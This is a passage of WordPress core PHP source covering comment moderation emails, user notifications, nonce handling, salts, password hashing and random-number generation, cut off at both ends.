$comment->comment_post_ID ) . "#comments\r\n\r\n"; /* translators: %s: Comment URL. */ $notify_message .= sprintf( __( 'Permalink: %s' ), get_comment_link( $comment ) ) . "\r\n"; if ( user_can( $post->post_author, 'edit_comment', $comment->comment_ID ) ) { if ( EMPTY_TRASH_DAYS ) { /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n"; } else { /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n"; } /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment->comment_ID}#wpbody-content" ) ) . "\r\n"; } $wp_email = 'wordpress@' . preg_replace( '#^www\.#', '', wp_parse_url( network_home_url(), PHP_URL_HOST ) ); if ( '' === $comment->comment_author ) { $from = "From: \"$blogname\" <$wp_email>"; if ( '' !== $comment->comment_author_email ) { $reply_to = "Reply-To: $comment->comment_author_email"; } } else { $from = "From: \"$comment->comment_author\" <$wp_email>"; if ( '' !== $comment->comment_author_email ) { $reply_to = "Reply-To: \"$comment->comment_author_email\" <$comment->comment_author_email>"; } } $message_headers = "$from\n" . 'Content-Type: text/plain; charset="' . get_option( 'blog_charset' ) . "\"\n"; if ( isset( $reply_to ) ) { $message_headers .= $reply_to . "\n"; } /** * Filters the comment notification email text. * * @since 1.5.2 * * @param string $notify_message The comment notification email text. * @param string $comment_id Comment ID as a numeric string. */ $notify_message = apply_filters( 'comment_notification_text', $notify_message, $comment->comment_ID ); /** * Filters the comment notification email subject. * * @since 1.5.2 * * @param string $subject The comment notification email subject. * @param string $comment_id Comment ID as a numeric string. */ $subject = apply_filters( 'comment_notification_subject', $subject, $comment->comment_ID ); /** * Filters the comment notification email headers. * * @since 1.5.2 * * @param string $message_headers Headers for the comment notification email. * @param string $comment_id Comment ID as a numeric string. */ $message_headers = apply_filters( 'comment_notification_headers', $message_headers, $comment->comment_ID ); foreach ( $emails as $email ) { wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers ); } if ( $switched_locale ) { restore_previous_locale(); } return true; } endif; if ( ! function_exists( 'wp_notify_moderator' ) ) : /** * Notifies the moderator of the site about a new comment that is awaiting approval. * * @since 1.0.0 * * @global wpdb $wpdb WordPress database abstraction object. * * Uses the {@see 'notify_moderator'} filter to determine whether the site moderator * should be notified, overriding the site setting. * * @param int $comment_id Comment ID. * @return true Always returns true. */ function wp_notify_moderator( $comment_id ) { global $wpdb; $maybe_notify = get_option( 'moderation_notify' ); /** * Filters whether to send the site moderator email notifications, overriding the site setting. * * @since 4.4.0 * * @param bool $maybe_notify Whether to notify blog moderator. * @param int $comment_ID The id of the comment for the notification. */ $maybe_notify = apply_filters( 'notify_moderator', $maybe_notify, $comment_id ); if ( ! $maybe_notify ) { return true; } $comment = get_comment( $comment_id ); $post = get_post( $comment->comment_post_ID ); $user = get_userdata( $post->post_author ); // Send to the administration and to the post author if the author can modify the comment. $emails = array( get_option( 'admin_email' ) ); if ( $user && user_can( $user->ID, 'edit_comment', $comment_id ) && ! empty( $user->user_email ) ) { if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) { $emails[] = $user->user_email; } } $switched_locale = switch_to_locale( get_locale() ); $comment_author_domain = ''; if ( WP_Http::is_ip_address( $comment->comment_author_IP ) ) { $comment_author_domain = gethostbyaddr( $comment->comment_author_IP ); } $comments_waiting = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_approved = '0'" ); // The blogname option is escaped with esc_html() on the way into the database in sanitize_option(). // We want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $comment_content = wp_specialchars_decode( $comment->comment_content ); switch ( $comment->comment_type ) { case 'trackback': /* translators: %s: Post title. */ $notify_message = sprintf( __( 'A new trackback on the post "%s" is waiting for your approval' ), $post->post_title ) . "\r\n"; $notify_message .= get_permalink( $comment->comment_post_ID ) . "\r\n\r\n"; /* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */ $notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; /* translators: %s: Trackback/pingback/comment author URL. */ $notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n"; $notify_message .= __( 'Trackback excerpt: ' ) . "\r\n" . $comment_content . "\r\n\r\n"; break; case 'pingback': /* translators: %s: Post title. */ $notify_message = sprintf( __( 'A new pingback on the post "%s" is waiting for your approval' ), $post->post_title ) . "\r\n"; $notify_message .= get_permalink( $comment->comment_post_ID ) . "\r\n\r\n"; /* translators: 1: Trackback/pingback website name, 2: Website IP address, 3: Website hostname. */ $notify_message .= sprintf( __( 'Website: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; /* translators: %s: Trackback/pingback/comment author URL. */ $notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n"; $notify_message .= __( 'Pingback excerpt: ' ) . "\r\n" . $comment_content . "\r\n\r\n"; break; default: // Comments. /* translators: %s: Post title. */ $notify_message = sprintf( __( 'A new comment on the post "%s" is waiting for your approval' ), $post->post_title ) . "\r\n"; $notify_message .= get_permalink( $comment->comment_post_ID ) . "\r\n\r\n"; /* translators: 1: Comment author's name, 2: Comment author's IP address, 3: Comment author's hostname. */ $notify_message .= sprintf( __( 'Author: %1$s (IP address: %2$s, %3$s)' ), $comment->comment_author, $comment->comment_author_IP, $comment_author_domain ) . "\r\n"; /* translators: %s: Comment author email. */ $notify_message .= sprintf( __( 'Email: %s' ), $comment->comment_author_email ) . "\r\n"; /* translators: %s: Trackback/pingback/comment author URL. */ $notify_message .= sprintf( __( 'URL: %s' ), $comment->comment_author_url ) . "\r\n"; if ( $comment->comment_parent ) { /* translators: Comment moderation. %s: Parent comment edit URL. */ $notify_message .= sprintf( __( 'In reply to: %s' ), admin_url( "comment.php?action=editcomment&c={$comment->comment_parent}#wpbody-content" ) ) . "\r\n"; } /* translators: %s: Comment text. */ $notify_message .= sprintf( __( 'Comment: %s' ), "\r\n" . $comment_content ) . "\r\n\r\n"; break; } /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Approve it: %s' ), admin_url( "comment.php?action=approve&c={$comment_id}#wpbody-content" ) ) . "\r\n"; if ( EMPTY_TRASH_DAYS ) { /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Trash it: %s' ), admin_url( "comment.php?action=trash&c={$comment_id}#wpbody-content" ) ) . "\r\n"; } else { /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Delete it: %s' ), admin_url( "comment.php?action=delete&c={$comment_id}#wpbody-content" ) ) . "\r\n"; } /* translators: Comment moderation. %s: Comment action URL. */ $notify_message .= sprintf( __( 'Spam it: %s' ), admin_url( "comment.php?action=spam&c={$comment_id}#wpbody-content" ) ) . "\r\n"; $notify_message .= sprintf( /* translators: Comment moderation. %s: Number of comments awaiting approval. */ _n( 'Currently %s comment is waiting for approval. Please visit the moderation panel:', 'Currently %s comments are waiting for approval. Please visit the moderation panel:', $comments_waiting ), number_format_i18n( $comments_waiting ) ) . "\r\n"; $notify_message .= admin_url( 'edit-comments.php?comment_status=moderated#wpbody-content' ) . "\r\n"; /* translators: Comment moderation notification email subject. 1: Site title, 2: Post title. */ $subject = sprintf( __( '[%1$s] Please moderate: "%2$s"' ), $blogname, $post->post_title ); $message_headers = ''; /** * Filters the list of recipients for comment moderation emails. * * @since 3.7.0 * * @param string[] $emails List of email addresses to notify for comment moderation. * @param int $comment_id Comment ID. */ $emails = apply_filters( 'comment_moderation_recipients', $emails, $comment_id ); /** * Filters the comment moderation email text. * * @since 1.5.2 * * @param string $notify_message Text of the comment moderation email. * @param int $comment_id Comment ID. */ $notify_message = apply_filters( 'comment_moderation_text', $notify_message, $comment_id ); /** * Filters the comment moderation email subject. * * @since 1.5.2 * * @param string $subject Subject of the comment moderation email. * @param int $comment_id Comment ID. */ $subject = apply_filters( 'comment_moderation_subject', $subject, $comment_id ); /** * Filters the comment moderation email headers. * * @since 2.8.0 * * @param string $message_headers Headers for the comment moderation email. * @param int $comment_id Comment ID. */ $message_headers = apply_filters( 'comment_moderation_headers', $message_headers, $comment_id ); foreach ( $emails as $email ) { wp_mail( $email, wp_specialchars_decode( $subject ), $notify_message, $message_headers ); } if ( $switched_locale ) { restore_previous_locale(); } return true; } endif; if ( ! function_exists( 'wp_password_change_notification' ) ) : /** * Notify the blog admin of a user changing password, normally via email. * * @since 2.7.0 * * @param WP_User $user User object. */ function wp_password_change_notification( $user ) { // Send a copy of password change notification to the admin, // but check to see if it's the admin whose password we're changing, and skip this. if ( 0 !== strcasecmp( $user->user_email, get_option( 'admin_email' ) ) ) { /* translators: %s: User name. */ $message = sprintf( __( 'Password changed for user: %s' ), $user->user_login ) . "\r\n"; // The blogname option is escaped with esc_html() on the way into the database in sanitize_option(). // We want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); $wp_password_change_notification_email = array( 'to' => get_option( 'admin_email' ), /* translators: Password change notification email subject. %s: Site title. */ 'subject' => __( '[%s] Password Changed' ), 'message' => $message, 'headers' => '', ); /** * Filters the contents of the password change notification email sent to the site admin. * * @since 4.9.0 * * @param array $wp_password_change_notification_email { * Used to build wp_mail(). * * @type string $to The intended recipient - site admin email address. * @type string $subject The subject of the email. * @type string $message The body of the email. * @type string $headers The headers of the email. * } * @param WP_User $user User object for user whose password was changed. * @param string $blogname The site title. */ $wp_password_change_notification_email = apply_filters( 'wp_password_change_notification_email', $wp_password_change_notification_email, $user, $blogname ); wp_mail( $wp_password_change_notification_email['to'], wp_specialchars_decode( sprintf( $wp_password_change_notification_email['subject'], $blogname ) ), $wp_password_change_notification_email['message'], $wp_password_change_notification_email['headers'] ); } } endif; if ( ! function_exists( 'wp_new_user_notification' ) ) : /** * Email login credentials to a newly-registered user. * * A new user registration notification is also sent to admin email. * * @since 2.0.0 * @since 4.3.0 The `$plaintext_pass` parameter was changed to `$notify`. * @since 4.3.1 The `$plaintext_pass` parameter was deprecated. `$notify` added as a third parameter. * @since 4.6.0 The `$notify` parameter accepts 'user' for sending notification only to the user created. * * @param int $user_id User ID. * @param null $deprecated Not used (argument deprecated). * @param string $notify Optional. Type of notification that should happen. Accepts 'admin' or an empty * string (admin only), 'user', or 'both' (admin and user). Default empty. */ function wp_new_user_notification( $user_id, $deprecated = null, $notify = '' ) { if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '4.3.1' ); } // Accepts only 'user', 'admin' , 'both' or default '' as $notify. if ( ! in_array( $notify, array( 'user', 'admin', 'both', '' ), true ) ) { return; } $user = get_userdata( $user_id ); // The blogname option is escaped with esc_html() on the way into the database in sanitize_option(). // We want to reverse this for the plain text arena of emails. $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); if ( 'user' !== $notify ) { $switched_locale = switch_to_locale( get_locale() ); /* translators: %s: Site title. */ $message = sprintf( __( 'New user registration on your site %s:' ), $blogname ) . "\r\n\r\n"; /* translators: %s: User login. */ $message .= sprintf( __( 'Username: %s' ), $user->user_login ) . "\r\n\r\n"; /* translators: %s: User email address. */ $message .= sprintf( __( 'Email: %s' ), $user->user_email ) . "\r\n"; $wp_new_user_notification_email_admin = array( 'to' => get_option( 'admin_email' ), /* translators: New user registration notification email subject. %s: Site title. */ 'subject' => __( '[%s] New User Registration' ), 'message' => $message, 'headers' => '', ); /** * Filters the contents of the new user notification email sent to the site admin. * * @since 4.9.0 * * @param array $wp_new_user_notification_email_admin { * Used to build wp_mail(). * * @type string $to The intended recipient - site admin email address. * @type string $subject The subject of the email. * @type string $message The body of the email. * @type string $headers The headers of the email. * } * @param WP_User $user User object for new user. * @param string $blogname The site title. */ $wp_new_user_notification_email_admin = apply_filters( 'wp_new_user_notification_email_admin', $wp_new_user_notification_email_admin, $user, $blogname ); wp_mail( $wp_new_user_notification_email_admin['to'], wp_specialchars_decode( sprintf( $wp_new_user_notification_email_admin['subject'], $blogname ) ), $wp_new_user_notification_email_admin['message'], $wp_new_user_notification_email_admin['headers'] ); if ( $switched_locale ) { restore_previous_locale(); } } // `$deprecated` was pre-4.3 `$plaintext_pass`. An empty `$plaintext_pass` didn't sent a user notification. if ( 'admin' === $notify || ( empty( $deprecated ) && empty( $notify ) ) ) { return; } $key = get_password_reset_key( $user ); if ( is_wp_error( $key ) ) { return; } $switched_locale = switch_to_locale( get_user_locale( $user ) ); /* translators: %s: User login. */ $message = sprintf( __( 'Username: %s' ), $user->user_login ) . "\r\n\r\n"; $message .= __( 'To set your password, visit the following address:' ) . "\r\n\r\n"; $message .= network_site_url( "wp-login.php?action=rp&key=$key&login=" . rawurlencode( $user->user_login ), 'login' ) . "\r\n\r\n"; $message .= wp_login_url() . "\r\n"; $wp_new_user_notification_email = array( 'to' => $user->user_email, /* translators: Login details notification email subject. %s: Site title. */ 'subject' => __( '[%s] Login Details' ), 'message' => $message, 'headers' => '', ); /** * Filters the contents of the new user notification email sent to the new user. * * @since 4.9.0 * * @param array $wp_new_user_notification_email { * Used to build wp_mail(). * * @type string $to The intended recipient - New user email address. * @type string $subject The subject of the email. * @type string $message The body of the email. * @type string $headers The headers of the email. * } * @param WP_User $user User object for new user. * @param string $blogname The site title. */ $wp_new_user_notification_email = apply_filters( 'wp_new_user_notification_email', $wp_new_user_notification_email, $user, $blogname ); wp_mail( $wp_new_user_notification_email['to'], wp_specialchars_decode( sprintf( $wp_new_user_notification_email['subject'], $blogname ) ), $wp_new_user_notification_email['message'], $wp_new_user_notification_email['headers'] ); if ( $switched_locale ) { restore_previous_locale(); } } endif; if ( ! function_exists( 'wp_nonce_tick' ) ) : /** * Returns the time-dependent variable for nonce creation. * * A nonce has a lifespan of two ticks. Nonces in their second tick may be * updated, e.g. by autosave. * * @since 2.5.0 * * @return float Float value rounded up to the next highest integer. */ function wp_nonce_tick() { /** * Filters the lifespan of nonces in seconds. * * @since 2.5.0 * * @param int $lifespan Lifespan of nonces in seconds. Default 86,400 seconds, or one day. */ $nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS ); return ceil( time() / ( $nonce_life / 2 ) ); } endif; if ( ! function_exists( 'wp_verify_nonce' ) ) : /** * Verifies that a correct security nonce was used with time limit. * * A nonce is valid for 24 hours (by default). * * @since 2.0.3 * * @param string $nonce Nonce value that was used for verification, usually via a form field. * @param string|int $action Should give context to what is taking place and be the same when nonce was created. * @return int|false 1 if the nonce is valid and generated between 0-12 hours ago, * 2 if the nonce is valid and generated between 12-24 hours ago. * False if the nonce is invalid. */ function wp_verify_nonce( $nonce, $action = -1 ) { $nonce = (string) $nonce; $user = wp_get_current_user(); $uid = (int) $user->ID; if ( ! $uid ) { /** * Filters whether the user who generated the nonce is logged out. * * @since 3.5.0 * * @param int $uid ID of the nonce-owning user. * @param string $action The nonce action. */ $uid = apply_filters( 'nonce_user_logged_out', $uid, $action ); } if ( empty( $nonce ) ) { return false; } $token = wp_get_session_token(); $i = wp_nonce_tick(); // Nonce generated 0-12 hours ago. $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); if ( hash_equals( $expected, $nonce ) ) { return 1; } // Nonce generated 12-24 hours ago. $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); if ( hash_equals( $expected, $nonce ) ) { return 2; } /** * Fires when nonce verification fails. * * @since 4.4.0 * * @param string $nonce The invalid nonce. * @param string|int $action The nonce action. * @param WP_User $user The current user object. * @param string $token The user's session token. */ do_action( 'wp_verify_nonce_failed', $nonce, $action, $user, $token ); // Invalid nonce. return false; } endif; if ( ! function_exists( 'wp_create_nonce' ) ) : /** * Creates a cryptographic token tied to a specific action, user, user session, * and window of time. * * @since 2.0.3 * @since 4.0.0 Session tokens were integrated with nonce creation * * @param string|int $action Scalar value to add context to the nonce. * @return string The token. */ function wp_create_nonce( $action = -1 ) { $user = wp_get_current_user(); $uid = (int) $user->ID; if ( ! $uid ) { /** This filter is documented in wp-includes/pluggable.php */ $uid = apply_filters( 'nonce_user_logged_out', $uid, $action ); } $token = wp_get_session_token(); $i = wp_nonce_tick(); return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 ); } endif; if ( ! function_exists( 'wp_salt' ) ) : /** * Returns a salt to add to hashes. * * Salts are created using secret keys. Secret keys are located in two places: * in the database and in the wp-config.php file. The secret key in the database * is randomly generated and will be appended to the secret keys in wp-config.php. * * The secret keys in wp-config.php should be updated to strong, random keys to maximize * security. Below is an example of how the secret key constants are defined. * Do not paste this example directly into wp-config.php. Instead, have a * {@link https://api.wordpress.org/secret-key/1.1/salt/ secret key created} just * for you. * * define('AUTH_KEY', ' XakmM%G4Yt>f`z]MON'); * define('SECURE_AUTH_KEY', 'LzJ}op]mr|6+![P}Ak:uNdJCJZd>(Hx.-Mh#Tz)pCIU#uGEnfFz|f ;;eU%/U^O~'); * define('LOGGED_IN_KEY', '|i|Ux`9z7X>QYR0Z_XnZ@|'); * define('AUTH_SALT', 'eZyT)-Naw]F8CwA*VaW#q*|.)g@o}||wf~@C-YSt}(dh_r6EbI#A,y|nU2{B#JBW'); * define('SECURE_AUTH_SALT', '!=oLUTXh,QW=H `}`L|9/^4-3 STz},T(w}W*c(u`g~EJBf#8u#R{mUEZrozmm'); * define('NONCE_SALT', 'h`GXHhD>SLWVfg1(1(N{;.V!MoE(SfbA_ksP@&`+AycHcAV$+?@3q+rxV{%^VyKT'); * * Salting passwords helps against tools which has stored hashed values of * common dictionary strings. The added values makes it harder to crack. * * @since 2.5.0 * * @link https://api.wordpress.org/secret-key/1.1/salt/ Create secrets for wp-config.php * * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce) * @return string Salt value */ function wp_salt( $scheme = 'auth' ) { static $cached_salts = array(); if ( isset( $cached_salts[ $scheme ] ) ) { /** * Filters the WordPress salt. * * @since 2.5.0 * * @param string $cached_salt Cached salt for the given scheme. * @param string $scheme Authentication scheme. Values include 'auth', * 'secure_auth', 'logged_in', and 'nonce'. */ return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme ); } static $duplicated_keys; if ( null === $duplicated_keys ) { $duplicated_keys = array( 'put your unique phrase here' => true ); foreach ( array( 'AUTH', 'SECURE_AUTH', 'LOGGED_IN', 'NONCE', 'SECRET' ) as $first ) { foreach ( array( 'KEY', 'SALT' ) as $second ) { if ( ! defined( "{$first}_{$second}" ) ) { continue; } $value = constant( "{$first}_{$second}" ); $duplicated_keys[ $value ] = isset( $duplicated_keys[ $value ] ); } } } $values = array( 'key' => '', 'salt' => '', ); if ( defined( 'SECRET_KEY' ) && SECRET_KEY && empty( $duplicated_keys[ SECRET_KEY ] ) ) { $values['key'] = SECRET_KEY; } if ( 'auth' === $scheme && defined( 'SECRET_SALT' ) && SECRET_SALT && empty( $duplicated_keys[ SECRET_SALT ] ) ) { $values['salt'] = SECRET_SALT; } if ( in_array( $scheme, array( 'auth', 'secure_auth', 'logged_in', 'nonce' ), true ) ) { foreach ( array( 'key', 'salt' ) as $type ) { $const = strtoupper( "{$scheme}_{$type}" ); if ( defined( $const ) && constant( $const ) && empty( $duplicated_keys[ constant( $const ) ] ) ) { $values[ $type ] = constant( $const ); } elseif ( ! $values[ $type ] ) { $values[ $type ] = get_site_option( "{$scheme}_{$type}" ); if ( ! $values[ $type ] ) { $values[ $type ] = wp_generate_password( 64, true, true ); update_site_option( "{$scheme}_{$type}", $values[ $type ] ); } } } } else { if ( ! $values['key'] ) { $values['key'] = get_site_option( 'secret_key' ); if ( ! $values['key'] ) { $values['key'] = wp_generate_password( 64, true, true ); update_site_option( 'secret_key', $values['key'] ); } } $values['salt'] = hash_hmac( 'md5', $scheme, $values['key'] ); } $cached_salts[ $scheme ] = $values['key'] . $values['salt']; /** This filter is documented in wp-includes/pluggable.php */ return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme ); } endif; if ( ! function_exists( 'wp_hash' ) ) : /** * Get hash of given string. * * @since 2.0.3 * * @param string $data Plain text to hash * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce) * @return string Hash of $data */ function wp_hash( $data, $scheme = 'auth' ) { $salt = wp_salt( $scheme ); return hash_hmac( 'md5', $data, $salt ); } endif; if ( ! function_exists( 'wp_hash_password' ) ) : /** * Create a hash (encrypt) of a plain text password. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * @since 2.5.0 * * @global PasswordHash $wp_hasher PHPass object * * @param string $password Plain text user password to hash * @return string The hash string of the password */ function wp_hash_password( $password ) { global $wp_hasher; if ( empty( $wp_hasher ) ) { require_once ABSPATH . WPINC . '/class-phpass.php'; // By default, use the portable hash from phpass. $wp_hasher = new PasswordHash( 8, true ); } return $wp_hasher->HashPassword( trim( $password ) ); } endif; if ( ! function_exists( 'wp_check_password' ) ) : /** * Checks the plaintext password against the encrypted Password. * * Maintains compatibility between old version and the new cookie authentication * protocol using PHPass library. The $hash parameter is the encrypted password * and the function compares the plain text password when encrypted similarly * against the already encrypted password to see if they match. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * @since 2.5.0 * * @global PasswordHash $wp_hasher PHPass object used for checking the password * against the $hash + $password * @uses PasswordHash::CheckPassword * * @param string $password Plaintext user's password * @param string $hash Hash of the user's password to check against. * @param string|int $user_id Optional. User ID. * @return bool False, if the $password does not match the hashed password */ function wp_check_password( $password, $hash, $user_id = '' ) { global $wp_hasher; // If the hash is still md5... if ( strlen( $hash ) <= 32 ) { $check = hash_equals( $hash, md5( $password ) ); if ( $check && $user_id ) { // Rehash using new hash. wp_set_password( $password, $user_id ); $hash = wp_hash_password( $password ); } /** * Filters whether the plaintext password matches the encrypted password. * * @since 2.5.0 * * @param bool $check Whether the passwords match. * @param string $password The plaintext password. * @param string $hash The hashed password. * @param string|int $user_id User ID. Can be empty. */ return apply_filters( 'check_password', $check, $password, $hash, $user_id ); } // If the stored hash is longer than an MD5, // presume the new style phpass portable hash. if ( empty( $wp_hasher ) ) { require_once ABSPATH . WPINC . '/class-phpass.php'; // By default, use the portable hash from phpass. $wp_hasher = new PasswordHash( 8, true ); } $check = $wp_hasher->CheckPassword( $password, $hash ); /** This filter is documented in wp-includes/pluggable.php */ return apply_filters( 'check_password', $check, $password, $hash, $user_id ); } endif; if ( ! function_exists( 'wp_generate_password' ) ) : /** * Generates a random password drawn from the defined set of characters. * * Uses wp_rand() is used to create passwords with far less predictability * than similar native PHP functions like `rand()` or `mt_rand()`. * * @since 2.5.0 * * @param int $length Optional. The length of password to generate. Default 12. * @param bool $special_chars Optional. Whether to include standard special characters. * Default true. * @param bool $extra_special_chars Optional. Whether to include other special characters. * Used when generating secret keys and salts. Default false. * @return string The random password. */ function wp_generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; if ( $special_chars ) { $chars .= '!@#$%^&*()'; } if ( $extra_special_chars ) { $chars .= '-_ []{}<>~`+=,.;:/?|'; } $password = ''; for ( $i = 0; $i < $length; $i++ ) { $password .= substr( $chars, wp_rand( 0, strlen( $chars ) - 1 ), 1 ); } /** * Filters the randomly-generated password. * * @since 3.0.0 * @since 5.3.0 Added the `$length`, `$special_chars`, and `$extra_special_chars` parameters. * * @param string $password The generated password. * @param int $length The length of password to generate. * @param bool $special_chars Whether to include standard special characters. * @param bool $extra_special_chars Whether to include other special characters. */ return apply_filters( 'random_password', $password, $length, $special_chars, $extra_special_chars ); } endif; if ( ! function_exists( 'wp_rand' ) ) : /** * Generates a random number. * * @since 2.6.2 * @since 4.4.0 Uses PHP7 random_int() or the random_compat library if available. * * @global string $rnd_value * * @param int $min Lower limit for the generated number * @param int $max Upper limit for the generated number * @return int A random number between min and max */ function wp_rand( $min = 0, $max = 0 ) { global $rnd_value; // Some misconfigured 32-bit environments (Entropy PHP, for example) // truncate integers larger than PHP_INT_MAX to PHP_INT_MAX rather than overflowing them to floats. $max_random_number = 3000000000 === 2147483647 ? (float) '4294967295' : 4294967295; // 4294967295 = 0xffffffff // We only handle ints, floats are truncated to their integer value. $min = (int) $min; $max = (int) $max; // Use PHP's CSPRNG, or a compatible method. static $use_random_int_functionality = true; if ( $use_random_int_functionality ) { try { $_max = ( 0 != $max ) ? $max : $max_random_number; // wp_rand() can accept arguments in either order, PHP cannot. $_max = max( $min, $_max ); $_min = min( $min, $_max ); $val = random_int( $_min, $_max ); if ( false !== $val ) { return absint( $val ); } else { $use_random_int_functionality = false; } } catch ( Error $e ) { $use_random_int_functionality = false; } catch ( Exception $e ) { $use_random_int_functionality = false; } } // Reset $rnd_value after 14 uses. // 32 (md5) + 40 (sha1) + 40 (sha1) / 8 = 14 random numbers from $rnd_value. if ( strlen( $rnd_value ) < 8 ) { if ( defined( 'WP_SETUP_CONFIG' ) ) { static $seed = ''; } else { $seed = get_transient( 'random_seed' ); } $rnd_value = md5( uniqid( microtime() . mt_rand(), true ) . $seed ); $rnd_value .= sha1( $rnd_value ); $rnd_value .= sha1( $rnd_value . $seed ); $seed = md5( $seed . $rnd_value ); if ( ! defined( 'WP_SETUP_CONFIG' ) && ! defined( 'WP_INSTALLING' ) ) { set_transient( 'random_seed', $seed ); } } // Take the first 8 digits for our value. $value = substr( $rnd_value, 0, 8 ); // Strip the first eight, leaving the remainder for the next call to wp_rand(). $rnd_value = substr( $rnd_value, 8 ); $value = abs( hexdec( $value ) ); // Reduce the value to be within the min - max range. if ( 0 != $max ) { $value = $min + ( $max - $min + 1 ) * $value / ( $max_random_number + 1 ); } return abs( (int) $value ); } endif; if ( ! function_exists( 'wp_set_password' ) ) : /** * Updates the user's password with a new encrypted one. * * For integration with other applications, this function can be overwritten to * instead use the other package password checking algorithm. * * Please note: This function should be used sparingly and is really only meant for single-time * application. Leveraging this improperly in a plugin or theme could result in an endless loop * of password resets if precautions are not taken to ensure it does not execute on every page load. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $password The plaintext new user password * @param int $user_id User ID */ function wp_set_password( $password, $user_id ) { global $wpdb; $hash = wp_hash_password( $password ); $wpdb->update( $wpdb->users, array( 'user_pass' => $hash, 'user_activation_key' => '', ), array( 'ID' => $user_id ) ); clean_user_cache( $user_id ); } endif; if ( ! function_exists( 'get_avatar' ) ) : /** * Retrieve the avatar `` tag for a user, email address, MD5 hash, comment, or post. * * @since 2.5.0 * @since 4.2.0 Optional `$args` parameter added. * * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param int $size Optional. Height and width of the avatar image file in pixels. Default 96. * @param string $default Optional. URL for the default image or a default type. Accepts '404' * (return a 404 instead of a default image), 'retro' (8bit), 'monsterid' * (monster), 'wavatar' (cartoon face), 'indenticon' (the "quilt"), * 'mystery', 'mm', or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), * or 'gravatar_default' (the Gravatar logo). Default is the value of the * 'avatar_default' option, with a fallback of 'mystery'. * @param string $alt Optional. Alternative text to use in img tag. Default empty. * @param array $args { * Optional. Extra arguments to retrieve the avatar. * * @type int $height Display height of the avatar in pixels. Defaults to $size. * @type int $width Display width of the avatar in pixels. Defaults to $size. * @type bool $force_default Whether to always show the default image, never the Gravatar. Default false. * @type string $rating What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are * judged in that order. Default is the value of the 'avatar_rating' option. * @type string $scheme URL scheme to use. See set_url_scheme() for accepted values. * Default null. * @type array|string $class Array or string of additional classes to add to the img element. * Default null. * @type bool $force_display Whether to always show the avatar - ignores the show_avatars option. * Default false. * @type string $loading Value for the `loading` attribute. * Default null. * @type string $extra_attr HTML attributes to insert in the IMG element. Is not sanitized. Default empty. * } * @return string|false `` tag for the user's avatar. False on failure. */ function get_avatar( $id_or_email, $size = 96, $default = '', $alt = '', $args = null ) { $defaults = array( // get_avatar_data() args. 'size' => 96, 'height' => null, 'width' => null, 'default' => get_option( 'avatar_default', 'mystery' ), 'force_default' => false, 'rating' => get_option( 'avatar_rating' ), 'scheme' => null, 'alt' => '', 'class' => null, 'force_display' => false, 'loading' => null, 'extra_attr' => '', ); if ( wp_lazy_loading_enabled( 'img', 'get_avatar' ) ) { $defaults['loading'] = wp_get_loading_attr_default( 'get_avatar' ); } if ( empty( $args ) ) { $args = array(); } $args['size'] = (int) $size; $args['default'] = $default; $args['alt'] = $alt; $args = wp_parse_args( $args, $defaults ); if ( empty( $args['height'] ) ) { $args['height'] = $args['size']; } if ( empty( $args['width'] ) ) { $args['width'] = $args['size']; } if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) { $id_or_email = get_comment( $id_or_email ); } /** * Allows the HTML for a user's avatar to be returned early. * * Returning a non-null value will effectively short-circuit get_avatar(), passing * the value through the {@see 'get_avatar'} filter and returning early. * * @since 4.2.0 * * @param string|null $avatar HTML for the user's avatar. Default null. * @param mixed $id_or_email The avatar to retrieve. Accepts a user_id, Gravatar MD5 hash, * user email, WP_User object, WP_Post object, or WP_Comment object. * @param array $args Arguments passed to get_avatar_url(), after processing. */ $avatar = apply_filters( 'pre_get_avatar', null, 